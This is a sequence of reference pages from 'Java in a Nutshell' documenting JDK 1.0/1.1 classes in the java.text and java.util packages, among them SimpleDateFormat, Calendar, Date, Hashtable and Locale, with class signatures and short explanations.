NumberFormat.getInstance(),
NumberFormat.getNumberInstance(),
NumberFormat.getPercentInstance()

Type Of:

DateFormat.numberFormat

Previous | Home | Next
java.text.MessageFormat (JDK 1.1) | Book Index | java.text.ParseException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.15 java.text.ParseException (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.15 java.text.ParseException (JDK 1.1)

This exception signals that a string had an incorrect format and could not be parsed. It is typically thrown by the parse() or parseObject() methods of Format and its subclasses, but is also thrown by certain methods in the java.text package that are passed patterns or other rules in string form. The getErrorOffset() method of this class returns the character position at which the parsing error occurred in the offending string.

public class ParseException extends Exception {
    // Public Constructor
            public ParseException(String s, int errorOffset);
    // Public Instance Methods
            public int getErrorOffset();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->ParseException

Thrown By:

DateFormat.parse(),
Format.parseObject(),
MessageFormat.parse(),
NumberFormat.parse(),
RuleBasedCollator()

Previous | Home | Next
java.text.NumberFormat (JDK 1.1) | Book Index | java.text.ParsePosition (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.16 java.text.ParsePosition (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.16 java.text.ParsePosition (JDK 1.1)

ParsePosition objects are passed to the parse() and parseObject() methods of Format and its subclasses. The ParsePosition class represents the position in a string at which parsing should begin or at which parsing stopped. Before calling a parse() method, you can specify the starting position of parsing by passing the desired index to the ParsePosition() constructor, or by calling the setIndex() of an existing ParsePosition object. When parse() returns, you can determine where parsing ended by calling getIndex(). When parsing multiple objects or values from a string, a single ParsePosition object can be used sequentially.

public class ParsePosition extends Object {
    // Public Constructor
            public ParsePosition(int index);
    // Public Instance Methods
            public int getIndex();
            public void setIndex(int index);
}

Passed To:

ChoiceFormat.parse(),
DateFormat.parse(),
DateFormat.parseObject(),
DecimalFormat.parse(),
Format.parseObject(),
MessageFormat.parse(),
MessageFormat.parseObject(),
NumberFormat.parse(),
NumberFormat.parseObject(),
SimpleDateFormat.parse()

Previous | Home | Next
java.text.ParseException (JDK 1.1) | Book Index | java.text.RuleBasedCollator (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.17 java.text.RuleBasedCollator (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.17 java.text.RuleBasedCollator (JDK 1.1)

This class is a concrete subclass of the abstract Collator class. It performs collations using a table of rules that are specified in textual form. Most applications do not use this class directly; instead they call Collator.getInstance() to obtain a Collator object (typically a RuleBasedCollator object) that implements the default collation order for a specified or default locale. You should only need to use this class if you are collating strings for a locale that is not supported by default, or if you need to implement a highly customized collation order.

public class RuleBasedCollator extends Collator {
    // Public Constructor
            public RuleBasedCollator(String rules) throws ParseException;
    // Public Instance Methods
            public Object clone();  // Overrides Collator
            public int compare(String source, String target);  // Defines Collator
            public boolean equals(Object obj);  // Overrides Collator
            public CollationElementIterator getCollationElementIterator(String source);
            public CollationKey getCollationKey(String source);  // Defines Collator
            public String getRules();
            public int hashCode();  // Defines Collator
}

Hierarchy:

Object->Collator(Cloneable, Serializable)->RuleBasedCollator

Previous | Home | Next
java.text.ParsePosition (JDK 1.1) | Book Index | java.text.SimpleDateFormat (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.18 java.text.SimpleDateFormat (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.18 java.text.SimpleDateFormat (JDK 1.1)

This is the concrete Format subclass used by DateFormat to handle formatting and parsing of dates. Most applications should not use this class directly--instead, they should obtain a localized DateFormat object by calling one of the static methods of DateFormat.

SimpleDateFormat formats dates and times according to a pattern, which specifies the positions of the various fields of the date, and a DateFormatSymbols object, which specifies important auxiliary data, such as the names of months. Applications that require highly customized date or time formatting can create a custom SimpleDateFormat object by specifying the desired pattern. This creates a SimpleDateFormat object that uses the DateFormatSymbols object for the default locale. You may also specify a locale explicitly to use the DateFormatSymbols object for that locale. Or, you can even provide an explicit DateFormatSymbols object of your own, if you need to format dates and times for an unsupported locale.

You can use the applyPattern() method of a SimpleDateFormat to change the formatting pattern used by the object. The syntax of this pattern is described in the following table. Any characters in the format string that do not appear in this table appear literally in the formatted date.

Field | Full Form | Short Form
Year | yyyy (4 digits) | yy (2 digits)
Month | MMM (name) | MM (2 digits), M (1 or 2 digits)
Day of week | EEEE | EE
Day of month | dd (2 digits) | d (1 or 2 digits)
Hour (1-12) | hh (2 digits) | h (1 or 2 digits)
Hour (0-23) | HH (2 digits) | H (1 or 2 digits)
Hour (0-11) | KK | K
Hour (1-24) | kk | k
Minute | mm |
Second | ss |
Millisecond | SSS |
AM/PM | a |
Time zone | zzzz | zz
Day of week in month | F (e.g., 3rd Thursday) |
Day in year | DDD (3 digits) | D (1, 2, or 3 digits)
Week in year | ww |
Era (e.g., BC/AD) | G |

public class SimpleDateFormat extends DateFormat {
    // Public Constructors
            public SimpleDateFormat();
            public SimpleDateFormat(String pattern);
            public SimpleDateFormat(String pattern, Locale loc);
            public SimpleDateFormat(String pattern, DateFormatSymbols formatData);
    // Public Instance Methods
            public void applyLocalizedPattern(String pattern);
            public void applyPattern(String pattern);
            public Object clone();  // Overrides DateFormat
            public boolean equals(Object obj);  // Overrides DateFormat
            public StringBuffer format(Date date, StringBuffer toAppendTo, FieldPosition pos);  // Defines DateFormat
            public DateFormatSymbols getDateFormatSymbols();
            public int hashCode();  // Overrides DateFormat
            public Date parse(String text, ParsePosition pos);  // Defines DateFormat
            public void setDateFormatSymbols(DateFormatSymbols newFormatSymbols);
            public String toLocalizedPattern();
            public String toPattern();
}

Hierarchy:

Object->Format(Serializable, Cloneable)->DateFormat(Cloneable)->SimpleDateFormat

Previous | Home | Next
java.text.RuleBasedCollator (JDK 1.1) | Book Index | java.text.StringCharacterIterator (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.19 java.text.StringCharacterIterator (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.19 java.text.StringCharacterIterator (JDK 1.1)

This class is a trivial implementation of the CharacterIterator interface that works for text stored in Java String objects. See CharacterIterator for details.

public final class StringCharacterIterator extends Object implements CharacterIterator {
    // Public Constructors
            public StringCharacterIterator(String text);
            public StringCharacterIterator(String text, int pos);
            public StringCharacterIterator(String text, int begin, int end, int pos);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public char current();  // From CharacterIterator
            public boolean equals(Object obj);  // Overrides Object
            public char first();  // From CharacterIterator
            public int getBeginIndex();  // From CharacterIterator
            public int getEndIndex();  // From CharacterIterator
            public int getIndex();  // From CharacterIterator
            public int hashCode();  // Overrides Object
            public char last();  // From CharacterIterator
            public char next();  // From CharacterIterator
            public char previous();  // From CharacterIterator
            public char setIndex(int p);  // From CharacterIterator
}

Hierarchy:

Object->StringCharacterIterator(CharacterIterator(Cloneable))

Previous | Home | Next
java.text.SimpleDateFormat (JDK 1.1) | Book Index | The java.util Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] The java.text Package

Java in a Nutshell

Previous Chapter 29 Next

29. The java.text Package

Contents:

Select a new section and then

The java.text package consists of classes and interfaces that are useful for writing internationalized programs that handle local customs, such as date and time formatting and string alphabetization, correctly. This package is new in Java 1.1. Figure 29.1 shows its class hierarchy.

The NumberFormat class formats numbers, monetary quantities, and percentages as appropriate for the default or specified locale. DateFormat formats dates and times in a locale-specific way. The concrete DecimalFormat and SimpleDateFormat subclasses of these classes can be used for customized number, date, and time formatting. MessageFormat allows substitution of dynamic values, including formatted numbers and dates, into static message strings. ChoiceFormat formats a number using an enumerated set of string values. Collator compares strings according to the customary sorting order for a locale. BreakIterator scans text to find word, line, and sentence boundaries following locale-specfic rules.

Figure 29.1: The java.text package

[Graphic: Figure 29-1]

29.1 java.text.BreakIterator (JDK 1.1)

This class is used to determine character, word, sentence, and line breaks in a block of text in a way that is independent of locale and text-encoding. As an abstract class, BreakIterator cannot be instantiated directly. Instead, you must use one of the class methods getCharacterInstance(), getWordInstance(), getSentenceInstance(), or getLineInstance() to return an instance of a nonabstract subclass of BreakIterator. These various "factory" methods return a BreakIterator object that is configured to locate the requested boundary types, and is localized to work for the optionally specified locale.

Once you have obtained an appropriate BreakIterator object, you use setText() to specify the text that it is to locate boundaries in. To locate boundaries in a Java String object, simply specify the string. To locate boundaries in text that uses some other encoding, you must specify a CharacterIterator object for that text so that the BreakIterator object can locate the individual characters of the text.

Having set the text to be searched, you can determine the character positions of characters, words, sentences, or line breaks with the first(), last(), next(), previous(), current(), and following() methods, which perform the obvious functions. Note that these methods do not return text itself, but merely the position of the appropriate word, sentence, or line break.

public abstract class BreakIterator extends Object implements Cloneable, Serializable {
    // Protected Constructor
            protected BreakIterator();
    // Constants
            public static final int DONE;
    // Class Methods
            public static synchronized Locale[] getAvailableLocales();
            public static BreakIterator getCharacterInstance();
            public static BreakIterator getCharacterInstance(Locale where);
            public static BreakIterator getLineInstance();
            public static BreakIterator getLineInstance(Locale where);
            public static BreakIterator getSentenceInstance();
            public static BreakIterator getSentenceInstance(Locale where);
            public static BreakIterator getWordInstance();
            public static BreakIterator getWordInstance(Locale where);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public abstract int current();
            public abstract int first();
            public abstract int following(int offset);
            public abstract CharacterIterator getText();
            public abstract int last();
            public abstract int next(int n);
            public abstract int next();
            public abstract int previous();
            public void setText(String newText);
            public abstract void setText(CharacterIterator newText);
}

Returned By:

BreakIterator.getCharacterInstance(),
BreakIterator.getLineInstance(),
BreakIterator.getSentenceInstance(),
BreakIterator.getWordInstance()

Previous | Home | Next
java.net.URLStreamHandlerFactory (JDK 1.0) | Book Index | java.text.CharacterIterator (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] The java.util Package

Java in a Nutshell

Previous Chapter 30 Next

30. The java.util Package

Contents:
java.util.Calendar (JDK 1.1)
java.util.Date (JDK 1.0)
java.util.Dictionary (JDK 1.0)
java.util.EmptyStackException (JDK 1.0)
java.util.Enumeration (JDK 1.0)
java.util.EventListener (JDK 1.1)
java.util.EventObject (JDK 1.1)
java.util.GregorianCalendar (JDK 1.1)
java.util.Hashtable (JDK 1.0)
java.util.ListResourceBundle (JDK 1.1)
java.util.Locale (JDK 1.1)
java.util.MissingResourceException (JDK 1.1)
java.util.NoSuchElementException (JDK 1.0)
java.util.Observable (JDK 1.0)
java.util.Observer (JDK 1.0)
java.util.Properties (JDK 1.0)
java.util.PropertyResourceBundle (JDK 1.1)
java.util.Random (JDK 1.0)
java.util.ResourceBundle (JDK 1.1)
java.util.SimpleTimeZone (JDK 1.1)
java.util.Stack (JDK 1.0)
java.util.StringTokenizer (JDK 1.0)
java.util.TimeZone (JDK 1.1)
java.util.TooManyListenersException (JDK 1.1)
java.util.Vector (JDK 1.0)

The java.util package defines a number of useful classes. This package should not be considered a "utility" package separate from the rest of the language; in fact, Java depends directly on several of the classes in this package. Figure 30.1 shows the class hierarchy of this package.

Figure 30.1: The java.util package

[Graphic: Figure 30-1]

The Hashtable class is one of the most useful in the package--it implements a hashtable or associative array. It allows arbitrary objects to be stored and retrieved by arbitrary keys. The Properties subclass of Hashtable is used to store the Java system properties list.

Vector is another extremely useful class. It implements an array of objects that grows as needed when objects are added.

The Enumeration interface provides a simple and consistent way to loop through all the elements contained within some kind of object or data structure.

The Date class represents a date and time, using a millisecond representation. In Java 1.1, the Calendar class manipulates dates using more familiar units such as months, days, hours, and minutes. The TimeZone class is also used in conjunction with dates.

In Java 1.1, ResourceBundle and its subclasses, ListResourceBundle and PropertyResourceBundle, represent a "bundle" of localized resources that are read in by an internationalized program at runtime.

The remaining classes are also useful. BitSet implements an arbitrary-size array of bits. Random generates and returns pseudo-random numbers in a variety of forms. StringTokenizer parses a string into tokens. Stack implements a last-in-first-out stack on which objects may be pushed, and from which they may be popped. And the Observer interface and Observable class provide infrastructure for implementing the object-oriented model-view paradigm in Java.

30.1 java.util.BitSet (JDK 1.0)

This class defines an arbitrarily large set of bits. Instance methods allow you to set, clear, and query individual bits in the set, and also to perform bitwise boolean arithmetic on the bits in BitSet objects. This class can be used as an extremely compact array of boolean values, although reading and writing those values is slower than normal array access.

public final class BitSet extends Object implements Cloneable, Serializable {
    // Public Constructors
            public BitSet();
            public BitSet(int nbits);
    // Public Instance Methods
            public void and(BitSet set);
            public void clear(int bit);
            public Object clone();  // Overrides Object
            public boolean equals(Object obj);  // Overrides Object
            public boolean get(int bit);
            public int hashCode();  // Overrides Object
            public void or(BitSet set);
            public void set(int bit);
            public int size();
            public String toString();  // Overrides Object
            public void xor(BitSet set);
}

Passed To:

BitSet.and(),
BitSet.or(),
BitSet.xor()

Previous | Home | Next
java.text.StringCharacterIterator (JDK 1.1) | Book Index | java.util.Calendar (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.2 java.util.Calendar (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.2 java.util.Calendar (JDK 1.1)

This abstract class defines methods used to perform date and time arithmetic. It also includes methods that convert dates and times to and from the machine-usable millisecond format used by the Date class and units like minutes, hours, days, weeks, months, and years that are more useful to humans.

As an abstract class, Calendar cannot be directly instantiated. Instead, it provides static getInstance() methods that return instances of a Calendar subclass suitable for use in a specified or default locale with a specified or default time zone.

Calendar defines a number of useful constants. Some of these are values that represent days of the week and months of the year. Other constants, such as HOUR and DAY_OF_WEEK, represent various fields of date and time information. These field constants are passed to a number of Calendar methods, such as get() and set(), in order to indicate what particular date or time field is of interest.

setTime() and the various set() methods set the date represented by a Calendar object. The add() method adds (or subtracts) values to a calendar field, incrementing the next larger field when the field "rolls over." roll() does the same, without modifying any but the specified field. before() and after() compare two Calendar objects.

Many of the methods of the Calendar class are replacements for methods of Date that have been deprecated in Java 1.1. While the Calendar class is used to convert a time value into its various hour, day, month, and other fields, it is not intended to present those fields into a form suitable for display to the end user. That function is performed by the DateFormat class in the java.text package, which handles internationalization issues.

See also Date, DateFormat, and TimeZone.

public abstract class Calendar extends Object implements Serializable, Cloneable {
    // Protected Constructors
            protected Calendar();
            protected Calendar(TimeZone zone, Locale aLocale);
    // Constants
            public static final int FIELD_COUNT;
    // Date and Time Field Constants
            public static final int ERA;
            public static final int YEAR;
            public static final int MONTH;
            public static final int WEEK_OF_YEAR, WEEK_OF_MONTH;
            public static final int DATE, DAY_OF_MONTH;
            public static final int DAY_OF_YEAR, DAY_OF_WEEK, DAY_OF_WEEK_IN_MONTH;
            public static final int ZONE_OFFSET, DST_OFFSET;
            public static final int AM_PM;
            public static final int HOUR, HOUR_OF_DAY;
            public static final int MINUTE;
            public static final int SECOND;
            public static final int MILLISECOND;
    // Field Value Constants
            public static final int JANUARY, FEBRUARY, MARCH, APRIL;
            public static final int MAY, JUNE, JULY, AUGUST;
            public static final int SEPTEMBER, OCTOBER, NOVEMBER, DECEMBER;
            public static final int UNDECIMBER;
            public static final int SUNDAY, MONDAY, TUESDAY, WEDNESDAY;
            public static final int THURSDAY, FRIDAY, SATURDAY;
            public static final int AM, PM;
    // Protected Instance Variables
            protected boolean areFieldsSet;
            protected int[] fields;
            protected boolean[] isSet;
            protected boolean isTimeSet;
            protected long time;
    // Class Methods
            public static synchronized Locale[] getAvailableLocales();
            public static synchronized Calendar getInstance();
            public static synchronized Calendar getInstance(TimeZone zone);
            public static synchronized Calendar getInstance(Locale aLocale);
            public static synchronized Calendar getInstance(TimeZone zone, Locale aLocale);
    // Public Instance Methods
            public abstract void add(int field, int amount);
            public abstract boolean after(Object when);
            public abstract boolean before(Object when);
            public final void clear();
            public final void clear(int field);
            public Object clone();  // Overrides Object
            public abstract boolean equals(Object when);  // Overrides Object
            public final int get(int field);
            public int getFirstDayOfWeek();
            public abstract int getGreatestMinimum(int field);
            public abstract int getLeastMaximum(int field);
            public abstract int getMaximum(int field);
            public int getMinimalDaysInFirstWeek();
            public abstract int getMinimum(int field);
            public final Date getTime();
            public TimeZone getTimeZone();
            public boolean isLenient();
            public final boolean isSet(int field);
            public abstract void roll(int field, boolean up);
            public final void set(int field, int value);
            public final void set(int year, int month, int date);
            public final void set(int year, int month, int date, int hour, int minute);
            public final void set(int year, int month, int date, int hour, int minute, int second);
            public void setFirstDayOfWeek(int value);
            public void setLenient(boolean lenient);
            public void setMinimalDaysInFirstWeek(int value);
            public final void setTime(Date date);
            public void setTimeZone(TimeZone value);
    // Protected Instance Methods
            protected void complete();
            protected abstract void computeFields();
            protected abstract void computeTime();
            protected long getTimeInMillis();
            protected final int internalGet(int field);
            protected void setTimeInMillis(long millis);
}

Extended By:

GregorianCalendar

Passed To:

DateFormat.setCalendar()

Returned By:

Calendar.getInstance(), DateFormat.getCalendar()

Type Of:

DateFormat.calendar

Previous | Home | Next
java.util.BitSet (JDK 1.0) | Book Index | java.util.Date (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.3 java.util.Date (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.3 java.util.Date (JDK 1.0)

This class represents dates and times. It lets you work with them in a system-independent way. You can create a Date by specifying the number of milliseconds from the epoch (midnight GMT, January 1st, 1970), or by specifying the year, month, date, and optionally, the hour, minute, and second. Years are specified as the number of years since 1900. If you call the Date constructor with no arguments, the Date is initialized to the current time and date. The instance methods of the class allow you to get and set the various date and time fields, to compare dates and times, and to convert dates to and from string representations.

In Java 1.1, many of the date methods have been deprecated in favor of the methods of the Calendar class.

public class Date extends Object implements Serializable, Cloneable {
    // Public Constructors
            public Date();
            public Date(long date);
        #   public Date(int year, int month, int date);
        #   public Date(int year, int month, int date, int hrs, int min);
        #   public Date(int year, int month, int date, int hrs, int min, int sec);
        #   public Date(String s);
    // Class Methods
        #   public static long UTC(int year, int month, int date, int hrs, int min, int sec);
        #   public static long parse(String s);
    // Public Instance Methods
            public boolean after(Date when);
            public boolean before(Date when);
            public boolean equals(Object obj);  // Overrides Object
        #   public int getDate();
        #   public int getDay();
        #   public int getHours();
        #   public int getMinutes();
        #   public int getMonth();
        #   public int getSeconds();
            public long getTime();
        #   public int getTimezoneOffset();
        #   public int getYear();
            public int hashCode();  // Overrides Object
        #   public void setDate(int date);
        #   public void setHours(int hours);
        #   public void setMinutes(int minutes);
        #   public void setMonth(int month);
        #   public void setSeconds(int seconds);
            public void setTime(long time);
        #   public void setYear(int year);
        #   public String toGMTString();
        #   public String toLocaleString();
            public String toString();  // Overrides Object
}

Passed To:

Calendar.setTime(),
Date.after(),
Date.before(),
DateFormat.format(),
GregorianCalendar.setGregorianChange(),
SimpleDateFormat.format(),
SimpleTimeZone.inDaylightTime(),
TimeZone.inDaylightTime()

Returned By:

Calendar.getTime(),
DateFormat.parse(),
GregorianCalendar.getGregorianChange(),
SimpleDateFormat.parse()

Previous | Home | Next
java.util.Calendar (JDK 1.1) | Book Index | java.util.Dictionary (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.4 java.util.Dictionary (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.4 java.util.Dictionary (JDK 1.0)

This abstract class is the superclass of Hashtable. Other hashtable-like data structures might also extend this class. See Hashtable for more information.

public abstract class Dictionary extends Object {
    // Default Constructor: public Dictionary()
    // Public Instance Methods
            public abstract Enumeration elements();
            public abstract Object get(Object key);
            public abstract boolean isEmpty();
            public abstract Enumeration keys();
            public abstract Object put(Object key, Object value);
            public abstract Object remove(Object key);
            public abstract int size();
}

Extended By:

Hashtable

Previous | Home | Next
java.util.Date (JDK 1.0) | Book Index | java.util.EmptyStackException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.5 java.util.EmptyStackException (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.5 java.util.EmptyStackException (JDK 1.0)

Signals that a Stack object is empty.

public class EmptyStackException extends RuntimeException {
    // Public Constructor
            public EmptyStackException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->EmptyStackException

Previous | Home | Next
java.util.Dictionary (JDK 1.0) | Book Index | java.util.Enumeration (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.6 java.util.Enumeration (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.6 java.util.Enumeration (JDK 1.0)

This interface defines the methods necessary to enumerate, or iterate through, a set of values, such as the set of values contained in a hashtable or binary tree. It is particularly useful for data structures, like hashtables, for which elements cannot simply be looked up by index, as they can in arrays. An Enumeration is usually not instantiated directly, but instead is created by the object that is to have its values enumerated. A number of classes, such as Vector and Hashtable, have methods that return Enumeration objects.

To use an Enumeration object, you use its two methods in a loop: hasMoreElements() returns true if there are more values to be enumerated, and can be used to determine whether a loop should continue. Within a loop, a call to nextElement() returns a value from the enumeration. An Enumeration makes no guarantees about the order in which the values are returned. The values in an Enumeration may be iterated through only once--there is no way to reset it to the beginning.

public abstract interface Enumeration {
    // Public Instance Methods
            public abstract boolean hasMoreElements();
            public abstract Object nextElement();
}

Implemented By:

StringTokenizer

Passed To:

SequenceInputStream()

Returned By:

AppletContext.getApplets(),
Dictionary.elements(),
Dictionary.keys(),
FeatureDescriptor.attributeNames(),
Hashtable.elements(),
Hashtable.keys(),
ListResourceBundle.getKeys(),
MenuBar.shortcuts(),
Properties.propertyNames(),
PropertyResourceBundle.getKeys(),
ResourceBundle.getKeys(),
Vector.elements(),
ZipFile.entries()

Previous | Home | Next
java.util.EmptyStackException (JDK 1.0) | Book Index | java.util.EventListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.7 java.util.EventListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.7 java.util.EventListener (JDK 1.1)

EventListener is a base interface for the Java 1.1 AWT event model. This interface defines no method or constants. Its purpose is to serve as a tag to identify objects that serve as event listeners. The event listener interfaces in the java.awt.event, and java.beans packages extend this interface.

public interface EventListener {
}

Extended By:

ActionListener, AdjustmentListener, ComponentListener, ContainerListener, FocusListener, ItemListener, KeyListener, MouseListener, MouseMotionListener, PropertyChangeListener, TextListener, VetoableChangeListener, WindowListener

Passed To:

AWTEventMulticaster(),
AWTEventMulticaster.addInternal(),
AWTEventMulticaster.remove(),
AWTEventMulticaster.removeInternal(),
AWTEventMulticaster.save()

Returned By:

AWTEventMulticaster.addInternal(),
AWTEventMulticaster.remove(),
AWTEventMulticaster.removeInternal()

Type Of:

AWTEventMulticaster.a, AWTEventMulticaster.b

Previous | Home | Next
java.util.Enumeration (JDK 1.0) | Book Index | java.util.EventObject (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.8 java.util.EventObject (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.8 java.util.EventObject (JDK 1.1)

EventObject serves as a superclass for all events objects used by the Java 1.1 AWT event model and the JavaBeans event model. This class defines a very generic type of event; it is extended by the more specific event classes in the java.awt, java.awt.event, and java.beans packages.

The only common feature shared by all events is a source object, which is the object that in some way "generated" the event. The source object is passed to the EventObject() constructor, and is returned by the getSource() method.

public class EventObject extends Object implements Serializable {
    // Public Constructor
            public EventObject(Object source);
    // Protected Instance Variables
            protected transient Object source;
    // Public Instance Methods
            public Object getSource();
            public String toString();  // Overrides Object
}

Extended By:

AWTEvent, PropertyChangeEvent

Previous | Home | Next
java.util.EventListener (JDK 1.1) | Book Index | java.util.GregorianCalendar (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.9 java.util.GregorianCalendar (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.9 java.util.GregorianCalendar (JDK 1.1)

This concrete subclass of Calendar implements the "standard" solar calendar with years numbered from the birth of Christ, which is used in most locales throughout the world. You do not typically use this class directly, but instead obtain a Calendar object suitable for the default locale by calling Calendar.getInstance(). See Calendar for details on working with Calendar objects.

There is a discontinuity in the Gregorian calendar that represents the historical switch from the Julian calendar to the Gregorian calendar. By default GregorianCalendar assumes that this switch occurs on October 15, 1582. Most programs need not be concerned with this.

public class GregorianCalendar extends Calendar {
    // Public Constructors
            public GregorianCalendar();
            public GregorianCalendar(TimeZone zone);
            public GregorianCalendar(Locale aLocale);
            public GregorianCalendar(TimeZone zone, Locale aLocale);
            public GregorianCalendar(int year, int month, int date);
            public GregorianCalendar(int year, int month, int date, int hour, int minute);
            public GregorianCalendar(int year, int month, int date, int hour, int minute, int second);
    // Constants
            public static final int AD;
            public static final int BC;
    // Public Instance Methods
            public void add(int field, int amount);  // Defines Calendar
            public boolean after(Object when);  // Defines Calendar
            public boolean before(Object when);  // Defines Calendar
            public Object clone();  // Overrides Calendar
            public boolean equals(Object obj);  // Defines Calendar
            public int getGreatestMinimum(int field);  // Defines Calendar
            public final Date getGregorianChange();
            public int getLeastMaximum(int field);  // Defines Calendar
            public int getMaximum(int field);  // Defines Calendar
            public int getMinimum(int field);  // Defines Calendar
            public synchronized int hashCode();  // Overrides Object
            public boolean isLeapYear(int year);
            public void roll(int field, boolean up);  // Defines Calendar
            public void setGregorianChange(Date date);
    // Protected Instance Methods
            protected void computeFields();  // Defines Calendar
            protected void computeTime();  // Defines Calendar
}

Hierarchy:

Object->Calendar(Serializable, Cloneable)->GregorianCalendar

Previous | Home | Next
java.util.EventObject (JDK 1.1) | Book Index | java.util.Hashtable (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.10 java.util.Hashtable (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.10 java.util.Hashtable (JDK 1.0)

This class implements a hashtable data structure, which allows you to associate values with a key and to efficiently look up the value associated with a given key. A hashtable is essentially an associative array, which stores objects with non-numeric array indices.

put() associates a value with a key in a Hashtable. get() retrieves a value for a specified key. remove() deletes a key/value association. keys() and elements() return Enumeration objects that allow you to iterate through the complete set of keys and values stored in the table.

public class Hashtable extends Dictionary implements Cloneable, Serializable {
    // Public Constructors
            public Hashtable(int initialCapacity, float loadFactor);
            public Hashtable(int initialCapacity);
            public Hashtable();
    // Public Instance Methods
            public synchronized void clear();
            public synchronized Object clone();  // Overrides Object
            public synchronized boolean contains(Object value);
            public synchronized boolean containsKey(Object key);
            public synchronized Enumeration elements();  // Defines Dictionary
            public synchronized Object get(Object key);  // Defines Dictionary
            public boolean isEmpty();  // Defines Dictionary
            public synchronized Enumeration keys();  // Defines Dictionary
            public synchronized Object put(Object key, Object value);  // Defines Dictionary
            public synchronized Object remove(Object key);  // Defines Dictionary
            public int size();  // Defines Dictionary
            public synchronized String toString();  // Overrides Object
    // Protected Instance Methods
            protected void rehash();
}

Hierarchy:

Object->Dictionary->Hashtable(Cloneable, Serializable)

Extended By:

Properties

Passed To:

CropImageFilter.setProperties(),
ImageConsumer.setProperties(),
ImageFilter.setProperties(),
MemoryImageSource(),
PixelGrabber.setProperties(),
ReplicateScaleFilter.setProperties()

Type Of:

GridBagLayout.comptable

Previous | Home | Next
java.util.GregorianCalendar (JDK 1.1) | Book Index | java.util.ListResourceBundle (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.11 java.util.ListResourceBundle (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.11 java.util.ListResourceBundle (JDK 1.1)

This abstract class provides a simple way to define a ResourceBundle. You may find it easier to subclass ListResourceBundle than to subclass ResourceBundle directly.

ListResourceBundle provides implementations for the abstract handleGetObject() and getKeys() methods defined by ResourceBundle, and it adds its own abstract getContents() method that your subclasses must override. getContents() returns an Object[][]--an array of arrays of objects. This array can have any number of elements. Each element of this array must itself be an array with two elements: the first element of each subarray should be a String that specifies the name of a resource, and the corresponding second element should be the value of that resource--this value can be an Object of any desired type.

See also ResourceBundle and PropertyResourceBundle.

public abstract class ListResourceBundle extends ResourceBundle {
    // Default Constructor: public ListResourceBundle()
    // Public Instance Methods
            public Enumeration getKeys();  // Defines ResourceBundle
            public final Object handleGetObject(String key);  // Defines ResourceBundle
    // Protected Instance Methods
            protected abstract Object[][] getContents();
}

Hierarchy:

Object->ResourceBundle->ListResourceBundle

Previous | Home | Next
java.util.Hashtable (JDK 1.0) | Book Index | java.util.Locale (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.12 java.util.Locale (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.12 java.util.Locale (JDK 1.1)

The Locale class represents a locale: a political, geographical, or cultural region that typically has a distinct language and distinct customs and conventions for such things as formatting dates, times, and numbers.

The Locale class defines a number of constants that represent commonly used locales. Locale also defines a static getDefault() method that returns the default Locale object, which represents a locale value inherited from the host system. Furthermore, many locale-sensitive classes, such as DateFormat, provide getAvailableLocales() methods that return a list of supported Locale objects. If none of these methods for obtaining a Locale object is suitable, you can also explicitly create your own Locale object. To do this, you must specify a language code, a country code, and an optional variant string.

